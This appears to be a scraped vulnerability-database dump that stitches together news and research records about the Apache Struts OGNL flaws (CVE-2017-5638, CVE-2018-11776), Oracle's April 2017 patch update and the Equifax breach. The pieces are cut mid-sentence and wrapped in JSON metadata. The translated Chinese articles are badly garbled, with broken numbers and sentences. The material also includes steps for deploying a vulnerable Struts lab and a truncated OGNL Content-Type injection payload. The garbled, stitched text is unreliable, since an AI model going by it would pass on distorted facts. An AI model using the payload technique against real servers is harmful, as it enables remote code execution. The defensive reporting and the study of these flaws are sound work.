Oracle released its biggest [Critical Patch Update](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) ever on Tuesday, and with it came added urgency in the form of patches for the Solaris vulnerabilities exposed by the [ShadowBrokers](<https://threatpost.com/shadowbrokers-expose-nsa-access-to-swift-service-bureaus/124996/>) last week, as well as the recent [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), also under public attack.
In all, Oracle admins have a tall order with 299 patches across most of the company’s product lines; 162 of the vulnerabilities are remotely exploitable.
Two Solaris exploits were leaked by the mysterious ShadowBrokers last Friday. The Solaris attacks were included among a rash of other exploits including a laundry list of Windows attacks, many of which had [already been patched by Microsoft](<https://threatpost.com/shadowbrokers-windows-zero-days-already-patched/125009/>) prior to last Friday’s dump.
One of the Solaris vulnerabilities, code-named EBBISLAND, had been patched in a number of updates dating back to 2012. The other, EXTREMEPARR, was addressed on Tuesday. It affects Solaris 7-10 on x86 and SPARC architectures, and is a local privilege escalation issue in the [dtappgather](<https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh>) component. Oracle patched versions 10 and 11.3 on Tuesday.
Researcher Matthew Hickey of U.K. consultancy Hacker House, said the EXTREMEPARR attacks go back to Solaris 7, while EBBISLAND affects Solaris 6-10, and is a remote RPC services exploit. Both exploits allow attackers to elevate privileges to root and run shells on a compromised server.

“As a security researcher it was an extremely interesting find to discover such well written exploits in a public data dump,” Hickey wrote in a [report](<https://www.myhackerhouse.com/easter-egg-hunt_greetz/#sthash.YMmAy8Ez.dpuf>) published today, “even though the bug was a trivial path traversal for ‘dtappgather’ extensive steps had been taken to protect the attack specifics in the binary and a well tested tool which worked flawlessly on all tested hosts was included.”
Since last August, the ShadowBrokers have periodically released tools belonging to the Equation Group, widely believed to be the U.S. National Security Agency. The Solaris attacks are of particular concern since these are the backbone of many enterprise-grade server environments.

“This vulnerability can be exploited remotely without authentication or any information about the targeted machine,” said Amol Sarwate, director of [Qualys Vulnerability Labs](<https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities>). “These are very critical vulnerabilities.”
The [Apache Struts 2 vulnerability](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) has been public since early March, though it’s been publicly exploited for much longer. The flaw is in the Jakarta Multipart parser in Struts 2 2.3 before 2.3.32 and in 2.5 before 2.5.10.1. A remote attacker could upload a malicious Content-Type value and have it execute. Public scans and attacks ramped up immediately upon disclosure of the issue and development of a Metasploit module. For the most part, Linux-based DDoS bots were behind most of the exploit attempts, but a spate of attacks were detected attempting to install [Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable Windows servers.
Oracle patched Struts 2 on 25 of its products, including 19 different instances of its Oracle Financial Services Applications. Most of these Oracle applications, however, are not internet-facing and live behind an enterprise firewall.
“That could be a little bit of a saving grace for some of these services,” Qualys’ Sarwate said. There could be some instances, however, where these apps are exposed to the public network for remote administration purposes, for example. There are also some cases in which admins may be learning for the first time that Struts 2 is running inside an Oracle product. “For a normal admin, it could be a little difficult unless a vendor tells them these are the products you’re running that are affected by the Struts 2 vulnerability. It could take some admins by surprise.”
While there were 47 patches in total for the financial applications suite, the MySQL database also received a hefty load of 39 fixes, 11 of which are remotely exploitable without authentication. The Oracle Retail Applications suite also had 39 vulnerabilities addressed, 32 of which were remotely exploitable. Oracle Fusion Middleware received 31 patches, 20 of which were for remotely exploitable vulnerabilities.
The previous record for quarterly Oracle patches was last July when [276 patches](<https://threatpost.com/oracle-patches-record-276-vulnerabilities-with-july-critical-patch-update/119373/>) were released; January’s update, the first for 2017, had [270 patches](<https://threatpost.com/oracle-patches-270-vulnerabilities-in-years-first-critical-patch-update/123155/>).

Our examples will be set forth in the Struts of the two critical vulnerabilities: CVE-2017-5638\uff08Equifax information disclosure and CVE-2018-11776\u3002 \nApache Struts is a free open source framework for creating modern Java Web applications. Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war.

[](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated. For example, if in the bar before not to call foo\uff08\uff09\u3002 Therefore, we are not in the default DataFlow :: Configuration contained in this step, because you cannot guarantee that the data always in this manner the flow, however, for digging vulnerabilities, I think adding this very useful. In later posts I will share some of the similar to the other process steps, these steps for find the bug helpful, but for similar reasons, the default case is not included these steps. \n\nThe initial results and Refine the query \nI'm on the latest version of the source code on the run a bit with QL, found that due to the S2-032, S2-033 S2-037 is still marked. These vulnerabilities obviously already been fixed, why still will be reported problem? \n\n\n**[1] [[2]](<91264_2.htm>) [[3]](<91264_3.htm>) [next](<91264_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "S2-057 vulnerability in the original author's README: how to use automated tools find 5 RCE-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4438", "CVE-2017-5638", "CVE-2018-11776", "CVE-2016-3687", "CVE-2016-3081"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891264", "href": "http://www.myhack58.com/Article/html/3/62/2018/91264.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-03-16T03:17:43", "description": "Author: janes(know Chong Yu 404 laboratory)\n\nDate: 2017-03-15\n\n## Background description\n\nStruts2 official to GMT 2017 3 December 6, 10pm published Struts2 there is a remote code execution vulnerability vulnerability number S2-045, CVE number: CVE-2017-5638, and rated as high-risk vulnerabilities. Because the vulnerability affects a wide range of\uff08Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10, the vulnerability degree of harm is severe, you can directly access the application system of the server where the control limit, and 3 on 7 May in the morning on the Internet on the outflow of the vulnerability of the PoC and Exp,so, S2-045 vulnerability in the Internet on the impact of rapid expansion, by the Internet companies and the government attach great importance. From vulnerability announcement to now(3.6-3.15)has been more than a week, so take this opportunity to analyze S2-045 in the social media Twitter and on Sina Weibo heat distribution.\n\n## Data acquisition\n\nIf you want to analyze Twitter and on Sina Weibo, S2-045 vulnerability of the heat distribution, then you need to get Twiiter and Facebook on the data, with the data speak. So they use\u201cselenium+phantomjs\u201dgo crawling the data via Twitter and Sina Weibo web page to the search interface, respectively, search for the keyword\u201cs2-045\u201dand\u201cCVE-2017-5638\u201d, then the search results go to the weight and finishing, taking to Twitter and Facebook, the time display of the time zone inconsistencies, using the same crawl page timestamp and then converted to the local time of the way of a unified time zone issues, the crawling data in the time to 2017 year 3 month 14 days afternoon 18 when, the results as shown below.\n\n* Twitter!

Although I know here there is vulnerability, but ready-made exploit code here does not work, so I feel may be a Web application firewall in the mischief, or that some of the things shield my attack. \nSince I was able to determine where there is indeed a vulnerability, so I couldn't stop. But if you want to submit a valid vulnerability, I have to provide a viable PoC to prove this vulnerability is valuable. After a period of research, I found an article tweet this article tweet describes how to pass a Payload to bypass the WAF and be successfully exploited this vulnerability. \nI the use of detection methods require the use of Content-Type HTTP header to send a specially crafted data packet, the header data as shown below: \nContent-Type:%{#context[\u2018com. opensymphony. xwork2. dispatcher.

In the above example, the request to calculate the value of 4 * 4, the server returns the result of 16, which means that this server is the presence of security vulnerabilities. \nAs shown in the following figure, the response data will contain the new header, i.e. X-Ack-Th3g3nt3lman-POC: 16 \n!

Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n \n\n\n## UPDATE \u2014 Apache Struts RCE Exploit PoC Released\n\n[](<https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png>)\n\nA security researcher has today released [a PoC exploit](<https://github.com/jas502n/St2-057/blob/master/README.md>) for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-22T14:04:00", "type": "thn", "title": "New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T18:30:56", "id": "THN:89C2482FECD181DD37C6DAEEB7A66FA9", "href": "https://thehackernews.com/2018/08/apache-struts-vulnerability.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-01-27T09:17:16", "description": "[](<https://4.bp.blogspot.com/-YbGPFiDfo54/WMFEMrkhUUI/AAAAAAAArt0/axO9fhieprw6xBp0DoBNdECPB4t_le8uwCLcB/s1600/apache-struts-framework.png>)\n\nSecurity researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. \n \nIn a [blog post](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. \n \nAccording to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n\n\n> \"It is possible to perform an RCE attack with a malicious Content-Type value,\" [warned](<https://cwiki.apache.org/confluence/display/WW/S2-045>) Apache. \"If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.\"\n\nThe vulnerability, documented at Rapid7's Metasploit Framework [GitHub site](<https://github.com/rapid7/metasploit-framework/issues/8064>), has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. \n \n\n\n### Exploit Code Publicly Released\n\n \nSince the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. \n \nThe researchers even detected \"a high number of exploitation events,\" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. \n\n\n[](<https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png>)\n\nIn some cases, the attackers executed simple \"whoami\" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. \n\n\n[](<https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png>)\n\n \n\n\n> \"Final steps include downloading a malicious payload from a web server and execution of said payload,\" the researchers say. \"The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.\"\n\nAttackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. \n \nAccording to the researchers, the attackers tried to copy the file to a benign directory and ensure_ \"that both the executable runs and that the firewall service will be disabled when the system boots.\"_ \n \nBoth Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different [implementation](<https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries>) of the Multipart parser.\n", "cvss3": {},

agency Equifax has been issued a \u00a3500,000 fine by the UK's privacy watchdog for its last year's [massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that exposed personal and financial data of hundreds of millions of its customers. \n \nYes, \u00a3500,000\u2014that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. \n \nIn July this year, the UK's data protection watchdog issued the maximum allowed fine of [\u00a3500,000 on Facebook](<https://thehackernews.com/2018/07/facebook-cambridge-analytica.html>) over the [Cambridge Analytica scandal](<https://thehackernews.com/2018/03/facebook-cambridge-analytica.html>), saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. \n \n\n\n## Flashback: The Equifax Data Breach 2017\n\n \nEquifax suffered a massive data breach last year between mid-May and the end of July, exposing highly [sensitive data of as many as 145 million people](<https://thehackernews.com/2017/10/equifax-credit-security-breach.html>) globally. \n \nThe stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. \n \nThe data breach occurred because the company failed to patch a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) on time, for which patches were already issued by the respected companies. \n \n\n\n## Why U.K. Has Fined a US Company?\n\n \nThe UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now [issued](<https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2018/09/credit-reference-agency-equifax-fined-for-security-breach/>) its largest possible monetary penalty under the country's Data Protection Act for the massive data breach\u2014\u00a3500,000, which equals to around $665,000. \n \nThe ICO said that although the [cyber attack compromised Equifax](<https://thehackernews.com/2017/09/equifax-data-breach.html>) systems in the United States, the company \"failed to take appropriate steps\" to protect the personal information of its 15 million UK customers. \n \nThe ICO investigation revealed \"multiple failures\" at the company like keeping users' personal information longer than necessary, which resulted in: \n\n\n * 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.\n * 637,430 UK customers had their names, dates of birth and telephone numbers exposed.\n * Up to 15 million UK customers had names and dates of birth exposed.\n * Some 27,000 Britishers also had their Equifax account email addresses swiped.\n * 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.\n \n\n\n## Breach Was Result of Multiple Failures at Equifax\n\n \nThe ICO said that Equifax had also been warned about a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/03/apache-struts-framework.html>) in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. \n \nInitially, it was also reported that the company kept news of the [breach hidden for a month](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. \n \nSince the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of \u00a3500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. \n \nThe penalty could have been much larger had it fallen under GDPR, wherein a company could face a [maximum fine of 20 million euros](<https://thehackernews.com/2017/08/data-breach-security-law.html>) or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. \n \nIn response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is \"disappointed in the findings and the penalty.\" \n \nEquifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH",

breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed. \n \nCredit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million. \n \nEquifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses. \n \nIn addition, credit card information for [nearly 209,000 customers](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers. \n \nThe breach was due to a critical vulnerability ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident. \n \nEquifax was even [informed by the US-CERT](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [[PDF](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>)] to the House Committee on Energy and Commerce. \n\n\n> \"It appears that the breach occurred because of both human error and technology failures,\" Smith said. \"Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.\"\n\nIn the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results \"promptly.\" \n \nMandiant said a total of 145.5 million consumers might now potentially have been [impacted by the breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>), which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of \"new attacker activity.\" \n\n\n> \"Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,\" Equifax said in a Monday [press release](<https://investor.equifax.com/news-and-events/news/2017/10-02-2017-213238821>). \n\n> \"Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\"\n\nThe forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm. \n \nHowever, Equifax said that this figure \"was preliminary and did not materialize.\" \n \n\"I want to apologize again to all impacted consumers.

We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\"\n\nCVE-2017-5638 was a then-zero-day vulnerability discovered in the [popular Apache Struts](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) web application framework by Cisco's Threat intelligence firm Talos, which observed a number of active attacks exploiting the flaw. \n \nThe issue was a remote code execution bug in the Jakarta Multipart parser of Apache Struts2 that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n \nAt the time, Apache warned it was possible to perform a remote code execution attack with \"a malicious Content-Type value,\" and if this value is not valid \"an exception is thrown which is then used to display an error message to a user.\" \n \n**Also Read: **[Steps You Should Follow to Protect Yourself From Equifax Breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) \n \nFor those unaware, Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language that run both front-end and back-end Web servers. The framework is used by 65n per cent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nSince the hackers are actively exploiting the vulnerabilities in the Apache Struts web framework, Cisco has also [initiated an investigation](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) into its products against four newly discovered security vulnerabilities in Apache Struts2. \n \nOther companies that also incorporate a version of Apache Struts 2 should also check their infrastructures against these vulnerabilities. \n \nEquifax is currently offering free credit-monitoring and identity theft protection services for people who are affected by the massive data leak and has also enabled a security freeze for access to people's information. \n \nWhile the company was initially criticised for generating a PIN that was simply a time and date stamp and easy-to-guess, the PIN generation method was later changed to randomly generate numbers.\n", "cvss3": {}, "published": "2017-09-13T21:38:00", "type": "thn", "title": "Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T10:00:54", "id": "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "href": "https://thehackernews.com/2017/09/equifax-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:53", "description": "[](<https://thehackernews.com/images/-sTd9DAc_p-c/W5Dodfm16dI/AAAAAAAADP4/N0Er9X2kbMMxOur9Q66LMQ_H2b7REMegACLcBGAs/s728-e100/cisco-update.png>)\n\nCisco today [released](<https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&sort=-day_sir#~Vulnerabilities>) thirty security patch advisory to address a total of 32 security vulnerabilities in its products, three of which are rated critical, including the recently disclosed [Apache Struts remote code execution](<https://thehackernews.com/2018/08/apache-struts-vulnerability.html>) vulnerability that is being exploited in the wild. \n \nOut of the rest 29 vulnerabilities, fourteen are rated high and 15 medium in severity, addressing security flaws in Cisco Routers, Cisco Webex, Cisco 